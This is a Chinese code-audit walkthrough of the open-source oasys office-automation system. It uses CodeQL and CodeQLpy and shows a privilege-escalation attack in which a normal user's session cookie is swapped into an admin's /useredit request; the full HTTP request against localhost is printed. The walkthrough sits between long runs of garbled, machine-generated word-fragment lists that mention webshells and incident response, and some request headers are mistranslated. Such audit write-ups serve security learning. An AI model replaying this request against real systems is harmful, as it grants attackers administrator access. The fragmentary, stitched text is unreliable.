句话木马 冰蝎 蝎子 冰蝎子 会话 话开 开始 会话开 话开始 会话开始 打印 否则 输入 解码 爆炸 公共 共函 函数 公共函 共函数 公共函数 具有 有混 混淆 淆功 功能 能的 具有混 有混淆 混淆功 淆功能 功能的 具有混淆 有混淆功 混淆功能 淆功能的 返回 回显 显式 返回显 回显式 返回显式 字节 新字 新字节 输出 处置 置计 计划 划建 建议 处置计 置计划 计划建 划建议 处置计划 置计划建 计划建议 的发 发生 生是 一起 起非 非常 常严 严重 重的 的安 安全 全事 事件 的发生 发生是 生是一 是一起 一起非 起非常 非常严 常严重 严重的 重的安 的安全 安全事 全事件 的发生是 发生是一 生是一起 是一起非 一起非常 起非常严 非常严重 常严重的 严重的安 重的安全 的安全事 安全事件 这意 意味 味着 着网 站已 已经 经被 被攻 攻破 这意味 意味着 味着网 着网站 网站已 站已经 已经被 经被攻 被攻破 这意味着 意味着网 味着网站 着网站已 网站已经 站已经被 已经被攻 经被攻破 攻击 击者 者已 经进 进入 入了 了企 企业 业内 内网 攻击者 击者已 者已经 已经进 经进入 进入了 入了企 了企业 企业内 业内网 攻击者已 击者已经 者已经进 已经进入 经进入了 进入了企 入了企业 了企业内 企业内网 管理 理员 员可 可以 以按 按照 照以 下流 流程 程进 进行 行故 故障 障排 排除 管理员 理员可 员可以 可以按 以按照 按照以 照以下 以下流 下流程 流程进 程进行 进行故 行故障 故障排 障排除 管理员可 理员可以 员可以按 可以按照 以按照以 按照以下 照以下流 以下流程 下流程进 流程进行 程进行故 进行故障 行故障排 故障排除 与网 站管 员和 和主 主机 机管 员确 确认 认该 该文 件是 是否 否为 为正 正常 常业 业务 务文 件以 以及 及当 当前 前事 为误 误报 与网站 网站管 站管理 理员和 员和主 和主机 主机管 机管理 理员确 员确认 确认该 认该文 该文件 文件是 件是否 是否为 否为正 为正常 正常业 常业务 业务文 务文件 文件以 件以及 以及当 及当前 当前事 前事件 事件是 否为误 为误报 与网站管 网站管理 站管理员 管理员和 理员和主 员和主机 和主机管 主机管理 机管理员 管理员确 理员确认 员确认该 确认该文 认该文件 该文件是 文件是否 件是否为 是否为正 否为正常 为正常业 正常业务 常业务文 业务文件 务文件以 文件以及 件以及当 以及当前 及当前事 当前事件 前事件是 事件是否 是否为误 否为误报 件确 认后 事件确 件确认 确认后 事件确认 件确认后 如果 果业 务允 允许 如果业 果业务 业务允 务允许 如果业务 果业务允 业务允许 必须 须立 立即 即隔 隔离 离当 前主 必须立 须立即 立即隔 即隔离 隔离当 离当前 当前主 前主机 必须立即 须立即隔 立即隔离 即隔离当 隔离当前 离当前主 当前主机 行攻 击溯 溯源 进行攻 行攻击 攻击溯 击溯源 进行攻击 行攻击溯 攻击溯源 修复 复导 导致 修复导 复导致 修复导致 的相 相关 关漏 漏洞 的相关 相关漏 关漏洞 的相关漏 相关漏洞 删除 除现 现有 有的 删除现 除现有 现有的 删除现有 除现有的 对当 机进 行全 全面 面检 检查 对当前 主机进 机进行 进行全 行全面 全面检 面检查 对当前主 前主机进 主机进行 机进行全 进行全面 行全面检 全面检查 确保 保现 有后 后门 门全
  15. 0x01 前言 黑盒测试期间可能会忽略一些潜在的漏洞和安全问题。代码审计可以直接查看代码,深入代码层面全面分析系统并检查其执行逻辑,从而发现黑盒测试中难以发现的问题。 我个人最喜欢的代码审计方面是它能够扩大漏洞的范围。在当前的模块化开发环境中,开发人员经常编写工具类和库来实现代码重用和简化代码。当代码审计时发现某个工具类存在漏洞时,调用该工具类的所有方法中可能都存在相同的漏洞。我们只需回溯工具类的调用位置,就可以轻松找到多个漏洞。 有句话说“没有绝对安全的系统”。这里Yu9借用这句话来说明一点。无论我们在手工代码审计方面有多么扎实的技术背景、丰富的经验和敏锐的洞察力,仍然会存在一些局限性,比如可能的遗漏和错误。 为了克服这些限制,可以使用自动化代码审计工具来快速识别所有可疑漏洞的位置,从而提高审计的效率和准确性。然而,我们也需要认识到自动化工具的使用存在一些限制。它们依赖于已知的漏洞模式和规则,可能无法完全涵盖所有漏洞类型。因此,在进行代码审计时,手动审计和自动化工具相结合往往是一种更有效的方法,可以确保发现尽可能多的漏洞,提高审计的准确性。 0x02语句 请严格遵守网络安全法的相关规定! 本次分享主要是为了交流和学习。请不要将其用于非法目的。您将自行承担一切后果。 所有未经授权的网络攻击都是非法的,互联网不能游离于法律之外。 0x03 环境设置 审核系统 oasysoasys是一个OA办公自动化系统。 一个基于springboot框架开发的项目,mysql底层数据库,前端使用freemarker模板引擎,使用Bootstrap作为前端UI框架。与jpa、mybatis等框架集成。源代码:https://gitee.com/aaluoshan/oa_system 既然是springboot项目,只要打开idea,配置数据库,Maven就可以加载依赖并运行。工具 CodeQL CodeQLpy1) CodeQl CodeQL 是一种语义代码分析引擎,可扫描代码库以查找漏洞。使用CodeQL,可以像查询数据一样查询代码。编写查询来查找漏洞的所有变体并对其进行处理,并分享个人查询。 CodeQl教程可以参考这位大师的文章:https://kiprey.github.io/2020/12/CodeQL-setup/ 2)代码QLpy CodeQLpy是一款基于CodeQL实现的自动化代码审计工具 项目地址:https://github.com/webraybtl/CodeQLpy 0x04源代码扫描 使用CodeQLpy工具扫描源代码。 1)初始化数据库,这里直接通过源码来生成数据库,所以不需要-c参数 python main.py -t D:\\Desktop\\oa\_system-master 2)生成数据库。如果有任何错误,请忽略它们。最后只需要看到“数据库创建成功”即可。 codeql 数据库创建out/database/oa\_system-master --language=java --source-root='D:\\Desktop\\oa\_system-master' --command='D:\\Desktop\\CodeQLpy-master\\out\\decode/run.cmd' --overwrite 3)检查漏洞 python main.py -d D:\\Desktop\\CodeQLpy-master\\out\\database\\oa\_system-master 4)最终会生成:csv文件,路径CodeQLpy-master\out\result 可以看到结果还是很清晰的 来源:漏洞关键词 SourceFunction:漏洞所在的方法名称 SourcePath:漏洞所在文件地址 0x05漏洞分析 01。垂直覆盖获取超级管理员权限 这块已经给出了有风险的代码地址和方法名,快速的定位漏洞点。这里我们全局搜索(ctrl+shift+f) 全局搜索123456,定位到oa_system-master\src\main\java\cn\gson\oasys\controller\user\UserController.java 看了代码才知道这个控制器是初始化用户的功能,并给出了默认密码123456。 经过查找,发现是用户管理模块中的一个新功能。 添加新用户捕获数据包 接下来登录一个普通用户的账号、可以看到该用户是没有用户管理此功能的。 捕捉他的会话 使用普通用户的session来替换管理员账户捕获的数据包中的session。注意:身份证格式要规范,我用的自己的不好展示了。 使用修改下边这个数据包的话要身份证哈idCard参数 POST /useredit HTTP/1.1 主机: 127.0.0.1 sec-ch-ua-mobile:0 Accept-Encoding: gzip、deflate、br Sec-Fetch-Dest: iframe 接受语言: zh-CN,zh;q=0.9 Sec-Fetch-Mode: 导航 引用者: http://127.0.0.1/useredit Cookie: JSESSIONID=CA902F7BBA9E186241CC19593B034F47 升级不安全请求: 1 缓存控制:最大年龄=0 sec-ch-ua-platform: 'Windows' Sec-Fetch-Site: 同源 sec-ch-ua: '不是\_品牌';v='8', 'Chromium';v='120', 'Google Chrome';v='120' Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,\*/\*;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-User:1 来源: http://127.0.0.1 Content-Type: 应用程序/x-www-form-urlencoded User-Agent: Mozilla/5.0(Windows NT 10.0;Win64;x64)AppleWebKit/537.36(KHTML,如Gecko)Chrome/120.0.0.0 Safari/537.36 内容长度: 317 userName=testamp;userTel=14444444444amp;realName=%E5%BC%A0%E4%B8%89amp;eamil=14444444444%40qq.coma mp;地址=%E6%B2%B3%E5%8D%97amp;userEdu=%E6%9C%AC%E7%A7%91amp;学校=%E9%83%91%E5%A4%A7amp;idCard=xxxxx 前言 黑盒 盒测 测试 试期 期间 间可 可能 能会 会忽 忽略 略一 一些 些潜 潜在 在的 的漏 漏洞 洞和 和安 安全 全问 问题 黑盒测 盒测试 测试期 试期间 期间可 间可能 可能会 能会忽 会忽略 忽略一 略一些 一些潜 些潜在 潜在的 在的漏 的漏洞 漏洞和 洞和安 和安全 安全问 全问题 黑盒测试 盒测试期 测试期间 试期间可 期间可能 间可能会 可能会忽 能会忽略 会忽略一 忽略一些 略一些潜 一些潜在 些潜在的 潜在的漏 在的漏洞 的漏洞和 漏洞和安 洞和安全 和安全问 安全问题 代码 码审 审计 计可 可以 以直 直接 接查 查看 看代 代码审 码审计 审计可 计可以 可以直 以直接 直接查 接查看 查看代 看代码 代码审计 码审计可 审计可以 计可以直 可以直接 以直接查 直接查看 接查看代 查看代码 深入 入代 码层 层面 面全 全面 面分 分析 析系 系统 统并 并检 检查 查其 其执 执行 行逻 逻辑 深入代 入代码 代码层 码层面 层面全 面全面 全面分 面分析 分析系 析系统 系统并 统并检 并检查 检查其 查其执 其执行 执行逻 行逻辑 深入代码 入代码层 代码层面 码层面全 层面全面 面全面分 全面分析 面分析系 分析系统 析系统并 系统并检 统并检查 并检查其 检查其执 查其执行 其执行逻 执行逻辑 从而 而发 发现 现黑 试中 中难 难以 以发 现的 的问 从而发 而发现 发现黑 现黑盒 测试中 试中难 中难以 难以发 以发现 发现的 现的问 的问题 从而发现 而发现黑 发现黑盒 现黑盒测 盒测试中 测试中难 试中难以 中难以发 难以发现 以发现的 发现的问 现的问题 我个 个人 人最 最喜 喜欢 欢的 的代 计方 方面 面是 是它 它能 能够 够扩 扩大 大漏 洞的 的范 范围 我个人 个人最 人最喜 最喜欢 喜欢的 欢的代 的代码 审计方 计方面 方面是 面是它 是它能 它能够 能够扩 够扩大 扩大漏 大漏洞 漏洞的 洞的范 的范围 我个人最 个人最喜 人最喜欢 最喜欢的 喜欢的代 欢的代码 的代码审 码审计方 审计方面 计方面是 方面是它 面是它能 是它能够 它能够扩 能够扩大 够扩大漏 扩大漏洞 大漏洞的 漏洞的范 洞的范围 在当 当前 前的 的模 模块 块化 化开 开发 发环 环境 境中 在当前 当前的 前的模 的模块 模块化 块化开 化开发 开发环 发环境 环境中 在当前的 当前的模 前的模块 的模块化 模块化开 块化开发 化开发环 开发环境 发环境中 发人 人员 员经 经常 常编 编写 写工 工具 具类 类和 和库 库来 来实 实现 现代 码重 重用 用和 和简 简化 化代 开发人 发人员 人员经 员经常 经常编 常编写 编写工 写工具 工具类 具类和 类和库 和库来 库来实 来实现 实现代 现代码 代码重 码重用 重用和 用和简 和简化 简化代 化代码 开发人员 发人员经 人员经常 员经常编 经常编写 常编写工 编写工具 写工具类 工具类和 具类和库 类和库来 和库来实 库来实现 来实现代 实现代码 现代码重 代码重用 码重用和 重用和简 用和简化 和简化代 简化代码 当代 计时 时发 现某 某个 个工 类存 存在 在漏 洞时 当代码 审计时 计时发 时发现 发现某 现某个 某个工 个工具 具类存 类存在 存在漏 在漏洞 漏洞时 当代码审 码审计时 审计时发 计时发现 时发现某 发现某个 现某个工 某个工具 个工具类 工具类存 具类存在 类存在漏 存在漏洞 在漏洞时 调用 用该 该工 类的 的所 所有 有方 方法 法中 中可 能都 都存 在相 相同 同的 调用该 用该工 该工具 具类的 类的所 的所有 所有方 有方法 方法中 法中可 中可能 可能都 能都存 都存在 存在相 在相同 相同的 同的漏 调用该工 用该工具 该工具类 工具类的 具类的所 类的所有 的所有方 所有方法 有方法中 方法中可 法中可能 中可能都 可能都存 能都存在 都存在相 存在相同 在相同的 相同的漏 同的漏洞 我们 们只 只需 需回 回溯 溯工 的调 用位 位置 我们只 们只需 只需回 需回溯 回溯工 溯工具 类的调 的调用 调用位 用位置 我们只需 们只需回 只需回溯 需回溯工 回溯工具 溯工具类 具类的调 类的调用 的调用位 调用位置 就可 以轻 轻松 松找 找到 到多 多个 个漏 就可以 可以轻 以轻松 轻松找 松找到 找到多 到多个 多个漏 个漏洞 就可以轻 可以轻松 以轻松找 轻松找到 松找到多 找到多个 到多个漏 多个漏洞 有句 句话 话说 有句话 句话说 有句话说 没有 有绝 绝对 对安 全的 的系 没有绝 有绝对 绝对安 对安全 安全的 全的系 的系统 没有绝对 有绝对安 绝对安全